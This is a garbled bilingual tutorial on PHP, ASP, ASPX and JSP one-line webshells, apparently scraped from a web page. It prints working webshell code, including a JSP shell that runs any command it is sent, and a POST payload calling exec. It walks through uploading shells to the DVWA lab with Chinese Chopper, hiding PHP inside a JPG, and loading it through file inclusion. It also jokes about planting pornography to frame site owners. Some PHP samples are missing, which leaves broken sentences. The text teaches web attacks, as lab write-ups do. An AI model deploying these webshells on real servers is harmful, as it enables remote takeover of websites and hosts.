For PHP, we will see a lot of Trojans, but most people still don’t understand her deeply enough. Today’s article will lead you to understand what a Trojan is, what is its form and principle? I believe this article will bring you unexpected surprises, so let’s work together!

Overview:

In many penetration processes, penetration personnel will upload a sentence Trojan (referred to as Webshell) to At present, the web service directory then escalates privileges to obtain system permissions. This is true regardless of asp, php, jsp, or aspx. So what exactly is a one-sentence Trojan?

Let’s first take a look at the simplest one-sentence Trojan:

[Basic Principle]Use thefile upload vulnerabilityto upload a sentence Trojan to the target website, and then you can use Chinese Chopperchopper locally. execan obtain and control the entire website directory.@means that even if there is an error in execution later, no error will be reported.eval()The function indicates that all statement strings in parentheses are executed as code.$_POST['attack']means getting the attack parameter value from the page.

Invasion conditions

Among them, as long as the attacker meets three conditions, a successful invasion can be achieved:

木马上传成功，未被杀；
知道木马的路径在哪；
上传的木马能正常运行。

Common forms

Common one-sentence Trojans:

php的一句话木马：  asp的一句话是： <%eval request ("pass")%> aspx的一句话是： <%@ Page Language="Jscript"%> <%eval(Request.Item["pass"],"unsafe");%>

We can directly insert these statements into an asp/aspx/php file on the website, or directly create a new file in Write these statements in it, and then upload the file to the website.

Basic Principle

First of all, let’s look at an original and simple php one-sentence Trojan:

I have to praise my predecessors when I see this wisdom. For a person who knows a little about PHP, or a junior security enthusiast, or a script kid, the first thingsees is that the password is cmd, and the data is submitted through post, but how to execute it specifically , but we don’t know. Let’s analyze how a sentence is executed.

What does this sentence mean?

(1) The PHP code must be written in, so that the server can recognize that this is PHP code and then parse it.
(2) The@symbol means no error will be reported, even if the execution error occurs, no error will be reported.

why? Because a variable was used without being defined, the server kindly reminded: Notice, your xxx variable is not defined. Doesn't this expose the password? So we add@.

(3) Why is the password cmd?

Then we have to understand the meaning of this sentence. There are several super global variables in php:$_GET and $_POST are one of them. $_POST['a']; means that the variable a is received using the post method.

Note: There are two methods of transmitting data, get and post. Post stores data in the message body, and get stores data in the url path of the message header (for example, xxx.php?a=2 )

(4) How to understand theeval() function?

eval() executes the string as PHP code.

For example:eval("echo 'a'");In fact, it is equivalent to directlyecho 'a';Let's see againFirst, use the post method to receive the variable pw. For example, if you receive:pw=echo 'a'; then the code becomes. The result is as follows:

When connected, it means: Use the post method to receive the variable pw, and treat the string in the variable pw as php code to execute. So you can play like this: that is, if you want to execute any code, put the code into the variable pw, and use post to transmit it to the one-sentence Trojan. If you want to check whether there are pornographic films in the target hard disk, you can use the php functions:opendir()andreaddir(), etc. If you want to upload some pornographic films to frame the website owner, you can use the php function:move_uploaded_file. Of course, the corresponding html must be written well. If you want to execute cmd command, useexec().

当然前提是：php配置文件php.ini里，关掉安全模式safe_mode = off，然后再看看 禁用函数列表 disable_functions = proc_open, popen, exec, system, shell_exec ，把exec去掉，确保没有exec（有些cms为了方便处理某些功能，会去掉的）。

来看看效果，POST代码如下：

cmd=header("Content-type:text/html;charset=gbk"); exec("ipconfig",$out); echo '
'; print_r($out); echo '
        

         Copy after login
        
       

在这里我们可以看到系统直接执行了系统命令。SO,大家现在应该理解，为什么说一句话短小精悍了吧！

木马利用

以下通过DVWA的文件上传漏洞，来看看一句话木马如何使用。

中国菜刀

【实验准备】首先在本地（桌面）保存一句话木马文件Hack.php(用记事本编写后修改文件后缀即可）：

接下来进入DVWA平台：http://127.0.0.1:8088/DVWA/index.php ，准备开始实验。

在Low 安全级别下,查看后台源码：

Your image was not uploaded.

{$target_path} succesfully uploaded!

从源码中发现，low级别未对上传的文件进行任何验证。所以可以直接上传PHP或者ASP一句话木马，此例采用php。

（1）我们将准备好的一句话木马直接上传，然后就可以看到回显的路径：

（2）接着就可以用菜刀连接了，菜刀界面右键，然后点击添加。然后填写相关的数据，如下图：

“中国菜刀”页面操作说明：

1、是连接的URL，就是网站的主路径然后加上上传文件时回显的保存路径；
2、是菜刀连接时的密码，就是上面图片一句话提交的数据（本例为"pass")；
3、是一句话的解析类型，可以是asp，php，aspx。不同的解析类型的一句话内容不一样，文件后缀名不一样。

（3）然后可以看连接成功的界面：

（4）接着双击或者右键“文件管理”，进入以下界面：

我们看到了整个网站的结构和文件，甚至是暴漏了我整个电脑主机的磁盘存储！！可以进行任意非法增删查改！！网站（主机）至此沦陷……

图片木马

木马如何才能上传成功？通常防御者都会对类型、大小、进行过滤。另外，若规定是上传的图片，还会对图片进行采集。即使攻击者修改文件类型，也过不了图片采集那一关。所以，这就需要一张图片来做掩护。做成隐藏在图片下的木马。linux和windows都有相应的命令，能够让一个文件融合到另一个文件后面，达到隐藏的目的。

承接上面DVWA实验，High 安全等级，继续先查看源码：

Your image was not uploaded.

{$target_path} succesfully uploaded!

Your image was not uploaded. We can only accept JPEG or PNG images.

可以看到，High级别的代码读取文件名中最后一个”.”后的字符串，期望通过文件名来限制文件类型，因此要求上传文件名形式必须是“*.jpg”、“.jpeg”、“*.png”之一。同时，getimagesize（）函数更是限制了上传文件的文件头必须为图像类型。

我们需要将上传文件的文件头伪装成图片，首先利用copy命令将一句话木马文件Hack.php与正常的图片文件ClearSky.jpg合并：

【备注】以下为CMD下用copy命令制作“图片木马”的步骤，其中，ClearSky.jpg/b中“b”表示“二进制文件”，hack.php/a中“a"表示ASCII码文件。

生成带有木马的图片文件hack.jpg：

接着我们打开生成的图片木马文件，我们可以看到一句话木马已附在图片文件末尾：

然后我们试着将生成的木马图片文件hack.jpg上传，上传成功！！！

访问图片木马：

接下来，上菜刀！！！！！！！！！！！

但是由于是图片木马，PHP脚本并无法被解析，菜刀连接木马失败：

既然图片木马也无法解析，那该怎么办？High级别的程序只允许上传图片啊……别慌，此处结合DVWA靶场自带的文件包含漏洞即可成功上传PHP木马并上菜刀连接了，下面进行攻击演示。

首先通过上述方法制造新的图片木马，图片文件后面的PHP脚本更改为：

'); ?>

然后制作新的图片木马，如下图所示：

接着上传到DVWA，然后借助文件包含漏洞模块访问该木马文件：

访问的地址如下：http://10.27.25.118:8088/DVWA/vulnerabilities/fi/?page=file:///C:\SoftWare\PhpStudy2016\WWW\DVWA\hackable\uploads\hacker.jpg，如下图所示：


<% if("123".equals(request.getParameter("pwd"))){ java.io.InputStream in = Runtime.getRuntime().exec(request.getParameter("i")).getInputStream(); int a = -1; byte[] b = new byte[2048]; out.print("
"); while((a=in.read(b))!=-1){ out.println(new String(b)); } out.print("
        

         Copy after login